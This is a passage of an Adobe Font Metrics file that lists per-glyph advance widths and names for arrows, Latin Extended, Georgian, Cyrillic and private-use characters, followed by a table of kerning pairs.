U 10514 ; WX 838 ; N uni2912 ; G 2945
U 10515 ; WX 838 ; N uni2913 ; G 2946
U 10516 ; WX 838 ; N uni2914 ; G 2947
U 10517 ; WX 838 ; N uni2915 ; G 2948
U 10518 ; WX 838 ; N uni2916 ; G 2949
U 10519 ; WX 838 ; N uni2917 ; G 2950
U 10520 ; WX 838 ; N uni2918 ; G 2951
U 10521 ; WX 838 ; N uni2919 ; G 2952
U 10522 ; WX 838 ; N uni291A ; G 2953
U 10523 ; WX 838 ; N uni291B ; G 2954
U 10524 ; WX 838 ; N uni291C ; G 2955
U 10525 ; WX 838 ; N uni291D ; G 2956
U 10526 ; WX 838 ; N uni291E ; G 2957
U 10527 ; WX 838 ; N uni291F ; G 2958
U 10528 ; WX 838 ; N uni2920 ; G 2959
U 10529 ; WX 838 ; N uni2921 ; G 2960
U 10530 ; WX 838 ; N uni2922 ; G 2961
U 10531 ; WX 838 ; N uni2923 ; G 2962
U 10532 ; WX 838 ; N uni2924 ; G 2963
U 10533 ; WX 838 ; N uni2925 ; G 2964
U 10534 ; WX 838 ; N uni2926 ; G 2965
U 10535 ; WX 838 ; N uni2927 ; G 2966
U 10536 ; WX 838 ; N uni2928 ; G 2967
U 10537 ; WX 838 ; N uni2929 ; G 2968
U 10538 ; WX 838 ; N uni292A ; G 2969
U 10539 ; WX 838 ; N uni292B ; G 2970
U 10540 ; WX 838 ; N uni292C ; G 2971
U 10541 ; WX 838 ; N uni292D ; G 2972
U 10542 ; WX 838 ; N uni292E ; G 2973
U 10543 ; WX 838 ; N uni292F ; G 2974
U 10544 ; WX 838 ; N uni2930 ; G 2975
U 10545 ; WX 838 ; N uni2931 ; G 2976
U 10546 ; WX 838 ; N uni2932 ; G 2977
U 10547 ; WX 838 ; N uni2933 ; G 2978
U 10548 ; WX 838 ; N uni2934 ; G 2979
U 10549 ; WX 838 ; N uni2935 ; G 2980
U 10550 ; WX 838 ; N uni2936 ; G 2981
U 10551 ; WX 838 ; N uni2937 ; G 2982
U 10552 ; WX 838 ; N uni2938 ; G 2983
U 10553 ; WX 838 ; N uni2939 ; G 2984
U 10554 ; WX 838 ; N uni293A ; G 2985
U 10555 ; WX 838 ; N uni293B ; G 2986
U 10556 ; WX 838 ; N uni293C ; G 2987
U 10557 ; WX 838 ; N uni293D ; G 2988
U 10558 ; WX 838 ; N uni293E ; G 2989
U 10559 ; WX 838 ; N uni293F ; G 2990
U 10560 ; WX 838 ; N uni2940 ; G 2991
U 10561 ; WX 838 ; N uni2941 ; G 2992
U 10562 ; WX 838 ; N uni2942 ; G 2993
U 10563 ; WX 838 ; N uni2943 ; G 2994
U 10564 ; WX 838 ; N uni2944 ; G 2995
U 10565 ; WX 838 ; N uni2945 ; G 2996
U 10566 ; WX 838 ; N uni2946 ; G 2997
U 10567 ; WX 838 ; N uni2947 ; G 2998
U 10568 ; WX 838 ; N uni2948 ; G 2999
U 10569 ; WX 838 ; N uni2949 ; G 3000
U 10570 ; WX 838 ; N uni294A ; G 3001
U 10571 ; WX 838 ; N uni294B ; G 3002
U 10572 ; WX 838 ; N uni294C ; G 3003
U 10573 ; WX 838 ; N uni294D ; G 3004
U 10574 ; WX 838 ; N uni294E ; G 3005
U 10575 ; WX 838 ; N uni294F ; G 3006
U 10576 ; WX 838 ; N uni2950 ; G 3007
U 10577 ; WX 838 ; N uni2951 ; G 3008
U 10578 ; WX 838 ; N uni2952 ; G 3009
U 10579 ; WX 838 ; N uni2953 ; G 3010
U 10580 ; WX 838 ; N uni2954 ; G 3011
U 10581 ; WX 838 ; N uni2955 ; G 3012
U 10582 ; WX 838 ; N uni2956 ; G 3013
U 10583 ; WX 838 ; N uni2957 ; G 3014
U 10584 ; WX 838 ; N uni2958 ; G 3015
U 10585 ; WX 838 ; N uni2959 ; G 3016
U 10586 ; WX 838 ; N uni295A ; G 3017
U 10587 ; WX 838 ; N uni295B ; G 3018
U 10588 ; WX 838 ; N uni295C ; G 3019
U 10589 ; WX 838 ; N uni295D ; G 3020
U 10590 ; WX 838 ; N uni295E ; G 3021
U 10591 ; WX 838 ; N uni295F ; G 3022
U 10592 ; WX 838 ; N uni2960 ; G 3023
U 10593 ; WX 838 ; N uni2961 ; G 3024
U 10594 ; WX 838 ; N uni2962 ; G 3025
U 10595 ; WX 838 ; N uni2963 ; G 3026
U 10596 ; WX 838 ; N uni2964 ; G 3027
U 10597 ; WX 838 ; N uni2965 ; G 3028
U 10598 ; WX 838 ; N uni2966 ; G 3029
U 10599 ; WX 838 ; N uni2967 ; G 3030
U 10600 ; WX 838 ; N uni2968 ; G 3031
U 10601 ; WX 838 ; N uni2969 ; G 3032
U 10602 ; WX 838 ; N uni296A ; G 3033
U 10603 ; WX 838 ; N uni296B ; G 3034
U 10604 ; WX 838 ; N uni296C ; G 3035
U 10605 ; WX 838 ; N uni296D ; G 3036
U 10606 ; WX 838 ; N uni296E ; G 3037
U 10607 ; WX 838 ; N uni296F ; G 3038
U 10608 ; WX 838 ; N uni2970 ; G 3039
U 10609 ; WX 838 ; N uni2971 ; G 3040
U 10610 ; WX 838 ; N uni2972 ; G 3041
U 10611 ; WX 838 ; N uni2973 ; G 3042
U 10612 ; WX 838 ; N uni2974 ; G 3043
U 10613 ; WX 838 ; N uni2975 ; G 3044
U 10614 ; WX 838 ; N uni2976 ; G 3045
U 10615 ; WX 1032 ; N uni2977 ; G 3046
U 10616 ; WX 838 ; N uni2978 ; G 3047
U 10617 ; WX 838 ; N uni2979 ; G 3048
U 10618 ; WX 960 ; N uni297A ; G 3049
U 10619 ; WX 838 ; N uni297B ; G 3050
U 10620 ; WX 838 ; N uni297C ; G 3051
U 10621 ; WX 838 ; N uni297D ; G 3052
U 10622 ; WX 838 ; N uni297E ; G 3053
U 10623 ; WX 838 ; N uni297F ; G 3054
U 10731 ; WX 494 ; N uni29EB ; G 3055
U 10764 ; WX 1782 ; N uni2A0C ; G 3056
U 10765 ; WX 610 ; N uni2A0D ; G 3057
U 10766 ; WX 610 ; N uni2A0E ; G 3058
U 10799 ; WX 838 ; N uni2A2F ; G 3059
U 10858 ; WX 838 ; N uni2A6A ; G 3060
U 10859 ; WX 838 ; N uni2A6B ; G 3061
U 11008 ; WX 838 ; N uni2B00 ; G 3062
U 11009 ; WX 838 ; N uni2B01 ; G 3063
U 11010 ; WX 838 ; N uni2B02 ; G 3064
U 11011 ; WX 838 ; N uni2B03 ; G 3065
U 11012 ; WX 838 ; N uni2B04 ; G 3066
U 11013 ; WX 838 ; N uni2B05 ; G 3067
U 11014 ; WX 838 ; N uni2B06 ; G 3068
U 11015 ; WX 838 ; N uni2B07 ; G 3069
U 11016 ; WX 838 ; N uni2B08 ; G 3070
U 11017 ; WX 838 ; N uni2B09 ; G 3071
U 11018 ; WX 838 ; N uni2B0A ; G 3072
U 11019 ; WX 838 ; N uni2B0B ; G 3073
U 11020 ; WX 838 ; N uni2B0C ; G 3074
U 11021 ; WX 838 ; N uni2B0D ; G 3075
U 11022 ; WX 838 ; N uni2B0E ; G 3076
U 11023 ; WX 838 ; N uni2B0F ; G 3077
U 11024 ; WX 838 ; N uni2B10 ; G 3078
U 11025 ; WX 838 ; N uni2B11 ; G 3079
U 11026 ; WX 945 ; N uni2B12 ; G 3080
U 11027 ; WX 945 ; N uni2B13 ; G 3081
U 11028 ; WX 945 ; N uni2B14 ; G 3082
U 11029 ; WX 945 ; N uni2B15 ; G 3083
U 11030 ; WX 769 ; N uni2B16 ; G 3084
U 11031 ; WX 769 ; N uni2B17 ; G 3085
U 11032 ; WX 769 ; N uni2B18 ; G 3086
U 11033 ; WX 769 ; N uni2B19 ; G 3087
U 11034 ; WX 945 ; N uni2B1A ; G 3088
U 11360 ; WX 703 ; N uni2C60 ; G 3089
U 11361 ; WX 380 ; N uni2C61 ; G 3090
U 11363 ; WX 752 ; N uni2C63 ; G 3091
U 11364 ; WX 831 ; N uni2C64 ; G 3092
U 11367 ; WX 945 ; N uni2C67 ; G 3093
U 11368 ; WX 727 ; N uni2C68 ; G 3094
U 11369 ; WX 869 ; N uni2C69 ; G 3095
U 11370 ; WX 693 ; N uni2C6A ; G 3096
U 11371 ; WX 730 ; N uni2C6B ; G 3097
U 11372 ; WX 568 ; N uni2C6C ; G 3098
U 11373 ; WX 848 ; N uni2C6D ; G 3099
U 11374 ; WX 1107 ; N uni2C6E ; G 3100
U 11375 ; WX 776 ; N uni2C6F ; G 3101
U 11376 ; WX 848 ; N uni2C70 ; G 3102
U 11377 ; WX 709 ; N uni2C71 ; G 3103
U 11378 ; WX 1221 ; N uni2C72 ; G 3104
U 11379 ; WX 984 ; N uni2C73 ; G 3105
U 11381 ; WX 779 ; N uni2C75 ; G 3106
U 11382 ; WX 576 ; N uni2C76 ; G 3107
U 11383 ; WX 905 ; N uni2C77 ; G 3108
U 11385 ; WX 571 ; N uni2C79 ; G 3109
U 11386 ; WX 667 ; N uni2C7A ; G 3110
U 11387 ; WX 617 ; N uni2C7B ; G 3111
U 11388 ; WX 313 ; N uni2C7C ; G 3112
U 11389 ; WX 489 ; N uni2C7D ; G 3113
U 11390 ; WX 722 ; N uni2C7E ; G 3114
U 11391 ; WX 730 ; N uni2C7F ; G 3115
U 11520 ; WX 773 ; N uni2D00 ; G 3116
U 11521 ; WX 635 ; N uni2D01 ; G 3117
U 11522 ; WX 804 ; N uni2D02 ; G 3118
U 11523 ; WX 658 ; N uni2D03 ; G 3119
U 11524 ; WX 788 ; N uni2D04 ; G 3120
U 11525 ; WX 962 ; N uni2D05 ; G 3121
U 11526 ; WX 756 ; N uni2D06 ; G 3122
U 11527 ; WX 960 ; N uni2D07 ; G 3123
U 11528 ; WX 617 ; N uni2D08 ; G 3124
U 11529 ; WX 646 ; N uni2D09 ; G 3125
U 11530 ; WX 962 ; N uni2D0A ; G 3126
U 11531 ; WX 631 ; N uni2D0B ; G 3127
U 11532 ; WX 646 ; N uni2D0C ; G 3128
U 11533 ; WX 962 ; N uni2D0D ; G 3129
U 11534 ; WX 846 ; N uni2D0E ; G 3130
U 11535 ; WX 866 ; N uni2D0F ; G 3131
U 11536 ; WX 961 ; N uni2D10 ; G 3132
U 11537 ; WX 645 ; N uni2D11 ; G 3133
U 11538 ; WX 645 ; N uni2D12 ; G 3134
U 11539 ; WX 959 ; N uni2D13 ; G 3135
U 11540 ; WX 945 ; N uni2D14 ; G 3136
U 11541 ; WX 863 ; N uni2D15 ; G 3137
U 11542 ; WX 644 ; N uni2D16 ; G 3138
U 11543 ; WX 646 ; N uni2D17 ; G 3139
U 11544 ; WX 645 ; N uni2D18 ; G 3140
U 11545 ; WX 649 ; N uni2D19 ; G 3141
U 11546 ; WX 688 ; N uni2D1A ; G 3142
U 11547 ; WX 936 ; N uni2D1B ; G 3143
U 11548 ; WX 982 ; N uni2D1C ; G 3144
U 11549 ; WX 681 ; N uni2D1D ; G 3145
U 11550 ; WX 676 ; N uni2D1E ; G 3146
U 11551 ; WX 852 ; N uni2D1F ; G 3147
U 11552 ; WX 1113 ; N uni2D20 ; G 3148
U 11553 ; WX 632 ; N uni2D21 ; G 3149
U 11554 ; WX 645 ; N uni2D22 ; G 3150
U 11555 ; WX 646 ; N uni2D23 ; G 3151
U 11556 ; WX 749 ; N uni2D24 ; G 3152
U 11557 ; WX 914 ; N uni2D25 ; G 3153
U 11800 ; WX 586 ; N uni2E18 ; G 3154
U 11807 ; WX 838 ; N uni2E1F ; G 3155
U 11810 ; WX 473 ; N uni2E22 ; G 3156
U 11811 ; WX 473 ; N uni2E23 ; G 3157
U 11812 ; WX 473 ; N uni2E24 ; G 3158
U 11813 ; WX 473 ; N uni2E25 ; G 3159
U 11822 ; WX 586 ; N uni2E2E ; G 3160
U 42564 ; WX 722 ; N uniA644 ; G 3161
U 42565 ; WX 563 ; N uniA645 ; G 3162
U 42566 ; WX 468 ; N uniA646 ; G 3163
U 42567 ; WX 380 ; N uniA647 ; G 3164
U 42576 ; WX 1333 ; N uniA650 ; G 3165
U 42577 ; WX 1085 ; N uniA651 ; G 3166
U 42580 ; WX 1287 ; N uniA654 ; G 3167
U 42581 ; WX 1025 ; N uniA655 ; G 3168
U 42582 ; WX 1287 ; N uniA656 ; G 3169
U 42583 ; WX 1029 ; N uniA657 ; G 3170
U 42648 ; WX 1448 ; N uniA698 ; G 3171
U 42649 ; WX 1060 ; N uniA699 ; G 3172
U 42760 ; WX 500 ; N uniA708 ; G 3173
U 42761 ; WX 500 ; N uniA709 ; G 3174
U 42762 ; WX 500 ; N uniA70A ; G 3175
U 42763 ; WX 500 ; N uniA70B ; G 3176
U 42764 ; WX 500 ; N uniA70C ; G 3177
U 42765 ; WX 500 ; N uniA70D ; G 3178
U 42766 ; WX 500 ; N uniA70E ; G 3179
U 42767 ; WX 500 ; N uniA70F ; G 3180
U 42768 ; WX 500 ; N uniA710 ; G 3181
U 42769 ; WX 500 ; N uniA711 ; G 3182
U 42770 ; WX 500 ; N uniA712 ; G 3183
U 42771 ; WX 500 ; N uniA713 ; G 3184
U 42772 ; WX 500 ; N uniA714 ; G 3185
U 42773 ; WX 500 ; N uniA715 ; G 3186
U 42774 ; WX 500 ; N uniA716 ; G 3187
U 42779 ; WX 384 ; N uniA71B ; G 3188
U 42780 ; WX 384 ; N uniA71C ; G 3189
U 42781 ; WX 276 ; N uniA71D ; G 3190
U 42782 ; WX 276 ; N uniA71E ; G 3191
U 42783 ; WX 276 ; N uniA71F ; G 3192
U 42790 ; WX 945 ; N uniA726 ; G 3193
U 42791 ; WX 712 ; N uniA727 ; G 3194
U 42792 ; WX 1003 ; N uniA728 ; G 3195
U 42793 ; WX 909 ; N uniA729 ; G 3196
U 42794 ; WX 696 ; N uniA72A ; G 3197
U 42795 ; WX 609 ; N uniA72B ; G 3198
U 42796 ; WX 634 ; N uniA72C ; G 3199
U 42797 ; WX 598 ; N uniA72D ; G 3200
U 42798 ; WX 741 ; N uniA72E ; G 3201
U 42799 ; WX 706 ; N uniA72F ; G 3202
U 42800 ; WX 592 ; N uniA730 ; G 3203
U 42801 ; WX 563 ; N uniA731 ; G 3204
U 42802 ; WX 1301 ; N uniA732 ; G 3205
U 42803 ; WX 983 ; N uniA733 ; G 3206
U 42804 ; WX 1261 ; N uniA734 ; G 3207
U 42805 ; WX 985 ; N uniA735 ; G 3208
U 42806 ; WX 1168 ; N uniA736 ; G 3209
U 42807 ; WX 1007 ; N uniA737 ; G 3210
U 42808 ; WX 1016 ; N uniA738 ; G 3211
U 42809 ; WX 832 ; N uniA739 ; G 3212
U 42810 ; WX 1016 ; N uniA73A ; G 3213
U 42811 ; WX 832 ; N uniA73B ; G 3214
U 42812 ; WX 994 ; N uniA73C ; G 3215
U 42813 ; WX 746 ; N uniA73D ; G 3216
U 42814 ; WX 796 ; N uniA73E ; G 3217
U 42815 ; WX 609 ; N uniA73F ; G 3218
U 42816 ; WX 869 ; N uniA740 ; G 3219
U 42817 ; WX 693 ; N uniA741 ; G 3220
U 42822 ; WX 916 ; N uniA746 ; G 3221
U 42823 ; WX 581 ; N uniA747 ; G 3222
U 42826 ; WX 1010 ; N uniA74A ; G 3223
U 42827 ; WX 770 ; N uniA74B ; G 3224
U 42830 ; WX 1448 ; N uniA74E ; G 3225
U 42831 ; WX 1060 ; N uniA74F ; G 3226
U 42856 ; WX 787 ; N uniA768 ; G 3227
U 42857 ; WX 716 ; N uniA769 ; G 3228
U 42875 ; WX 694 ; N uniA77B ; G 3229
U 42876 ; WX 527 ; N uniA77C ; G 3230
U 42880 ; WX 703 ; N uniA780 ; G 3231
U 42881 ; WX 380 ; N uniA781 ; G 3232
U 42882 ; WX 872 ; N uniA782 ; G 3233
U 42883 ; WX 727 ; N uniA783 ; G 3234
U 42884 ; WX 694 ; N uniA784 ; G 3235
U 42885 ; WX 527 ; N uniA785 ; G 3236
U 42886 ; WX 796 ; N uniA786 ; G 3237
U 42887 ; WX 609 ; N uniA787 ; G 3238
U 42891 ; WX 439 ; N uniA78B ; G 3239
U 42892 ; WX 306 ; N uniA78C ; G 3240
U 42893 ; WX 913 ; N uniA78D ; G 3241
U 42896 ; WX 914 ; N uniA790 ; G 3242
U 42897 ; WX 812 ; N uniA791 ; G 3243
U 42922 ; WX 945 ; N uniA7AA ; G 3244
U 43000 ; WX 595 ; N uniA7F8 ; G 3245
U 43001 ; WX 647 ; N uniA7F9 ; G 3246
U 43002 ; WX 1068 ; N uniA7FA ; G 3247
U 43003 ; WX 710 ; N uniA7FB ; G 3248
U 43004 ; WX 752 ; N uniA7FC ; G 3249
U 43005 ; WX 1107 ; N uniA7FD ; G 3250
U 43006 ; WX 468 ; N uniA7FE ; G 3251
U 43007 ; WX 1286 ; N uniA7FF ; G 3252
U 62464 ; WX 726 ; N uniF400 ; G 3253
U 62465 ; WX 737 ; N uniF401 ; G 3254
U 62466 ; WX 786 ; N uniF402 ; G 3255
U 62467 ; WX 1019 ; N uniF403 ; G 3256
U 62468 ; WX 737 ; N uniF404 ; G 3257
U 62469 ; WX 731 ; N uniF405 ; G 3258
U 62470 ; WX 796 ; N uniF406 ; G 3259
U 62471 ; WX 1058 ; N uniF407 ; G 3260
U 62472 ; WX 737 ; N uniF408 ; G 3261
U 62473 ; WX 737 ; N uniF409 ; G 3262
U 62474 ; WX 1329 ; N uniF40A ; G 3263
U 62475 ; WX 754 ; N uniF40B ; G 3264
U 62476 ; WX 753 ; N uniF40C ; G 3265
U 62477 ; WX 1024 ; N uniF40D ; G 3266
U 62478 ; WX 737 ; N uniF40E ; G 3267
U 62479 ; WX 753 ; N uniF40F ; G 3268
U 62480 ; WX 1070 ; N uniF410 ; G 3269
U 62481 ; WX 818 ; N uniF411 ; G 3270
U 62482 ; WX 870 ; N uniF412 ; G 3271
U 62483 ; WX 819 ; N uniF413 ; G 3272
U 62484 ; WX 1016 ; N uniF414 ; G 3273
U 62485 ; WX 753 ; N uniF415 ; G 3274
U 62486 ; WX 1008 ; N uniF416 ; G 3275
U 62487 ; WX 752 ; N uniF417 ; G 3276
U 62488 ; WX 760 ; N uniF418 ; G 3277
U 62489 ; WX 753 ; N uniF419 ; G 3278
U 62490 ; WX 800 ; N uniF41A ; G 3279
U 62491 ; WX 753 ; N uniF41B ; G 3280
U 62492 ; WX 760 ; N uniF41C ; G 3281
U 62493 ; WX 738 ; N uniF41D ; G 3282
U 62494 ; WX 801 ; N uniF41E ; G 3283
U 62495 ; WX 956 ; N uniF41F ; G 3284
U 62496 ; WX 736 ; N uniF420 ; G 3285
U 62497 ; WX 847 ; N uniF421 ; G 3286
U 62498 ; WX 737 ; N uniF422 ; G 3287
U 62499 ; WX 737 ; N uniF423 ; G 3288
U 62500 ; WX 737 ; N uniF424 ; G 3289
U 62501 ; WX 793 ; N uniF425 ; G 3290
U 62502 ; WX 1033 ; N uniF426 ; G 3291
U 62504 ; WX 904 ; N uniF428 ; G 3292
U 63172 ; WX 380 ; N uniF6C4 ; G 3293
U 63173 ; WX 667 ; N uniF6C5 ; G 3294
U 63174 ; WX 699 ; N uniF6C6 ; G 3295
U 63175 ; WX 727 ; N uniF6C7 ; G 3296
U 63176 ; WX 1058 ; N uniF6C8 ; G 3297
U 63185 ; WX 500 ; N cyrBreve ; G 3298
U 63188 ; WX 500 ; N cyrbreve ; G 3299
U 64256 ; WX 827 ; N uniFB00 ; G 3300
U 64257 ; WX 727 ; N fi ; G 3301
U 64258 ; WX 727 ; N fl ; G 3302
U 64259 ; WX 1108 ; N uniFB03 ; G 3303
U 64260 ; WX 1146 ; N uniFB04 ; G 3304
U 64261 ; WX 879 ; N uniFB05 ; G 3305
U 64262 ; WX 971 ; N uniFB06 ; G 3306
U 65024 ; WX 0 ; N uniFE00 ; G 3307
U 65025 ; WX 0 ; N uniFE01 ; G 3308
U 65026 ; WX 0 ; N uniFE02 ; G 3309
U 65027 ; WX 0 ; N uniFE03 ; G 3310
U 65028 ; WX 0 ; N uniFE04 ; G 3311
U 65029 ; WX 0 ; N uniFE05 ; G 3312
U 65030 ; WX 0 ; N uniFE06 ; G 3313
U 65031 ; WX 0 ; N uniFE07 ; G 3314
U 65032 ; WX 0 ; N uniFE08 ; G 3315
U 65033 ; WX 0 ; N uniFE09 ; G 3316
U 65034 ; WX 0 ; N uniFE0A ; G 3317
U 65035 ; WX 0 ; N uniFE0B ; G 3318
U 65036 ; WX 0 ; N uniFE0C ; G 3319
U 65037 ; WX 0 ; N uniFE0D ; G 3320
U 65038 ; WX 0 ; N uniFE0E ; G 3321
U 65039 ; WX 0 ; N uniFE0F ; G 3322
U 65529 ; WX 0 ; N uniFFF9 ; G 3323
U 65530 ; WX 0 ; N uniFFFA ; G 3324
U 65531 ; WX 0 ; N uniFFFB ; G 3325
U 65532 ; WX 0 ; N uniFFFC ; G 3326
U 65533 ; WX 1113 ; N uniFFFD ; G 3327
EndCharMetrics
StartKernData 
StartKernPairs 1153

KPX dollar seven -112
KPX dollar nine -149
KPX dollar colon -102
KPX dollar less -102
KPX dollar I -36
KPX dollar W -36
KPX dollar Y -83
KPX dollar Z -83
KPX dollar backslash -83
KPX dollar questiondown -83
KPX dollar Aacute -83
KPX dollar Hbar -112
KPX dollar hbar -36
KPX dollar lacute -102

KPX percent ampersand 38
KPX percent asterisk 38
KPX percent two 38
KPX percent less -36
KPX percent Egrave 38
KPX percent Icircumflex 38
KPX percent agrave 38
KPX percent Ebreve 38
KPX percent lacute -36


KPX quotesingle nine -36


KPX parenright dollar -120
KPX parenright D -112
KPX parenright H -112
KPX parenright R -112
KPX parenright U -36
KPX parenright X -36
KPX parenright cent -112
KPX parenright sterling -112
KPX parenright currency -112
KPX parenright yen -112
KPX parenright brokenbar -112
KPX parenright section -112
KPX parenright dieresis -112
KPX parenright ordfeminine -112
KPX parenright guillemotleft -112
KPX parenright logicalnot -112
KPX parenright sfthyphen -112
KPX parenright acute -112
KPX parenright mu -112
KPX parenright paragraph -112
KPX parenright periodcentered -112
KPX parenright cedilla -112
KPX parenright ordmasculine -112
KPX parenright guillemotright -36
KPX parenright onequarter -36
KPX parenright onehalf -36
KPX parenright threequarters -36
KPX parenright Yacute -112
KPX parenright ebreve -112
KPX parenright edotaccent -36
KPX parenright ecaron -36
KPX parenright dotlessi -36



KPX period dollar -83
KPX period ampersand -55
KPX period two -55
KPX period eight -73
KPX period colon -73
KPX period less -55
KPX period H -45
KPX period R -45
KPX period X -45
KPX period backslash -92
KPX period ordfeminine -45
KPX period guillemotleft -45
KPX period logicalnot -45
KPX period sfthyphen -45
KPX period acute -45
KPX period mu -45
KPX period paragraph -45
KPX period periodcentered -45
KPX period cedilla -45
KPX period ordmasculine -36
KPX period guillemotright -45
KPX period onequarter -45
KPX period onehalf -45
KPX period threequarters -45
KPX period questiondown -92
KPX period Aacute -92
KPX period Egrave -55
KPX period Icircumflex -55
KPX period Yacute -45
KPX period Ebreve -55
KPX period ebreve -45
KPX period Idot -73
KPX period dotlessi -45
KPX period lacute -55

KPX slash seven -167
KPX slash eight -112
KPX slash nine -243
KPX slash colon -139
KPX slash less -131
KPX slash backslash -73
KPX slash questiondown -73
KPX slash Aacute -73
KPX slash Hbar -167
KPX slash Idot -112
KPX slash lacute -131


KPX two nine -36
KPX two semicolon -36

KPX three dollar -149
KPX three D -55
KPX three H -55
KPX three R -55
KPX three cent -55
KPX three sterling -55
KPX three currency -55
KPX three yen -55
KPX three brokenbar -55
KPX three section -55
KPX three dieresis -55
KPX three ordfeminine -55
KPX three guillemotleft -55
KPX three logicalnot -55
KPX three sfthyphen -55
KPX three acute -55
KPX three mu -55
KPX three paragraph -55
KPX three periodcentered -55
KPX three cedilla -55
KPX three ordmasculine -55
KPX three Yacute -55
KPX three ebreve -55


KPX five seven -36
KPX five nine -73
KPX five colon -45
KPX five less -63
KPX five D 47
KPX five backslash -36
KPX five cent 47
KPX five sterling 47
KPX five currency 47
KPX five yen 47
KPX five brokenbar 47
KPX five section 47
KPX five dieresis 47
KPX five ordmasculine 38
KPX five questiondown -36
KPX five Aacute -36
KPX five Hbar -36
KPX five lacute -63

KPX six six -45
KPX six Gdotaccent -45
KPX six Gcommaaccent -45

KPX seven dollar -112
KPX seven seven -73
KPX seven D -196
KPX seven F -235
KPX seven H -235
KPX seven R -235
KPX seven U -149
KPX seven V -188
KPX seven X -188
KPX seven Z -225
KPX seven backslash -225
KPX seven m -149
KPX seven braceright -149
KPX seven cent -196
KPX seven sterling -196
KPX seven currency -196
KPX seven yen -196
KPX seven brokenbar -196
KPX seven section -196
KPX seven dieresis -159
KPX seven copyright -235
KPX seven ordfeminine -235
KPX seven guillemotleft -235
KPX seven logicalnot -235
KPX seven sfthyphen -235
KPX seven acute -235
KPX seven mu -235
KPX seven paragraph -235
KPX seven periodcentered -235
KPX seven cedilla -235
KPX seven ordmasculine -159
KPX seven guillemotright -188
KPX seven onequarter -188
KPX seven onehalf -188
KPX seven threequarters -188
KPX seven questiondown -225
KPX seven Aacute -225
KPX seven Eacute -235
KPX seven Idieresis -235
KPX seven Yacute -235
KPX seven ebreve -159
KPX seven edotaccent -149
KPX seven ecaron -149
KPX seven gdotaccent -188
KPX seven gcommaaccent -188
KPX seven Hbar -73
KPX seven dotlessi -188

KPX eight dollar -63

KPX nine dollar -159
KPX nine two -36
KPX nine D -188
KPX nine H -188
KPX nine L -36
KPX nine R -188
KPX nine X -131
KPX nine backslash -83
KPX nine cent -188
KPX nine sterling -188
KPX nine currency -188
KPX nine yen -188
KPX nine brokenbar -188
KPX nine section -188
KPX nine dieresis -188
KPX nine ordfeminine -188
KPX nine guillemotleft -188
KPX nine logicalnot -188
KPX nine sfthyphen -188
KPX nine acute -188
KPX nine mu -188
KPX nine paragraph -188
KPX nine periodcentered -188
KPX nine cedilla -188
KPX nine ordmasculine -188
KPX nine guillemotright -131
KPX nine onequarter -131
KPX nine onehalf -131
KPX nine threequarters -131
KPX nine questiondown -83
KPX nine Aacute -83
KPX nine Yacute -188
KPX nine Ebreve -36
KPX nine ebreve -188
KPX nine dotlessi -131

KPX colon dollar -131
KPX colon D -178
KPX colon H -167
KPX colon L -36
KPX colon R -167
KPX colon U -92
KPX colon X -83
KPX colon backslash -45
KPX colon cent -178
KPX colon sterling -178
KPX colon currency -178
KPX colon yen -178
KPX colon brokenbar -178
KPX colon section -178
KPX colon dieresis -139
KPX colon ordfeminine -167
KPX colon guillemotleft -167
KPX colon logicalnot -167
KPX colon sfthyphen -167
KPX colon acute -167
KPX colon mu -167
KPX colon paragraph -167
KPX colon periodcentered -167
KPX colon cedilla -167
KPX colon ordmasculine -167
KPX colon guillemotright -83
KPX colon onequarter -83
KPX colon onehalf -83
KPX colon threequarters -83
KPX colon questiondown -45
KPX colon Aacute -45
KPX colon Yacute -167
KPX colon ebreve -167
KPX colon edotaccent -92
KPX colon ecaron -92
KPX colon dotlessi -83

KPX semicolon dollar -73
KPX semicolon ampersand -36
KPX semicolon two -36
KPX semicolon Egrave -36
KPX semicolon Icircumflex -36
KPX semicolon Ebreve -36

KPX less dollar -131
KPX less ampersand -36
KPX less D -159
KPX less H -178
KPX less L -36
KPX less R -178
KPX less X -178
KPX less cent -159
KPX less sterling -159
KPX less currency -159
KPX less yen -159
KPX less brokenbar -159
KPX less section -159
KPX less dieresis -159
KPX less ordfeminine -178
KPX less guillemotleft -178
KPX less logicalnot -178
KPX less sfthyphen -178
KPX less acute -178
KPX less mu -178
KPX less paragraph -178
KPX less periodcentered -178
KPX less cedilla -178
KPX less ordmasculine -178
KPX less guillemotright -178
KPX less onequarter -178
KPX less onehalf -178
KPX less threequarters -178
KPX less Egrave -36
KPX less Icircumflex -36
KPX less Yacute -178
KPX less ebreve -178
KPX less dotlessi -178










KPX m hyphen -73
KPX m seven -149
KPX m Hbar -149

KPX braceright hyphen -73
KPX braceright seven -149
KPX braceright Hbar -149














KPX Eth nine -36



KPX ucircumflex seven -167
KPX ucircumflex eight -112
KPX ucircumflex nine -243
KPX ucircumflex colon -139
KPX ucircumflex less -131
KPX ucircumflex backslash -73
KPX ucircumflex questiondown -73
KPX ucircumflex Aacute -73
KPX ucircumflex Hbar -167
KPX ucircumflex Idot -112
KPX ucircumflex lacute -131

KPX ydieresis seven -167
KPX ydieresis eight -112
KPX ydieresis nine -243
KPX ydieresis colon -139
KPX ydieresis less -131
KPX ydieresis backslash -73
KPX ydieresis questiondown -73
KPX ydieresis Aacute -73
KPX ydieresis Hbar -167
KPX ydieresis Idot -112
KPX ydieresis lacute -131

KPX Abreve O -241

KPX abreve seven -167
KPX abreve eight -112
KPX abreve nine -243
KPX abreve colon -139
KPX abreve less -131
KPX abreve backslash -73
KPX abreve questiondown -73
KPX abreve Aacute -73
KPX abreve Hbar -167
KPX abreve Idot -112
KPX abreve lacute -131



KPX Edotaccent seven -36
KPX Edotaccent nine -73
KPX Edotaccent colon -45
KPX Edotaccent less -63
KPX Edotaccent D 47
KPX Edotaccent backslash -36
KPX Edotaccent cent 47
KPX Edotaccent sterling 47
KPX Edotaccent currency 47
KPX Edotaccent yen 47
KPX Edotaccent brokenbar 47
KPX Edotaccent section 47
KPX Edotaccent dieresis 47
KPX Edotaccent ordmasculine 38
KPX Edotaccent questiondown -36
KPX Edotaccent Aacute -36
KPX Edotaccent Hbar -36
KPX Edotaccent lacute -63


KPX Ecaron seven -36
KPX Ecaron nine -73
KPX Ecaron colon -45
KPX Ecaron less -63
KPX Ecaron D 47
KPX Ecaron backslash -36
KPX Ecaron cent 47
KPX Ecaron sterling 47
KPX Ecaron currency 47
KPX Ecaron yen 47
KPX Ecaron brokenbar 47
KPX Ecaron section 47
KPX Ecaron dieresis 47
KPX Ecaron ordmasculine 38
KPX Ecaron questiondown -36
KPX Ecaron Aacute -36
KPX Ecaron Hbar -36
KPX Ecaron lacute -63


KPX Gdotaccent six -45
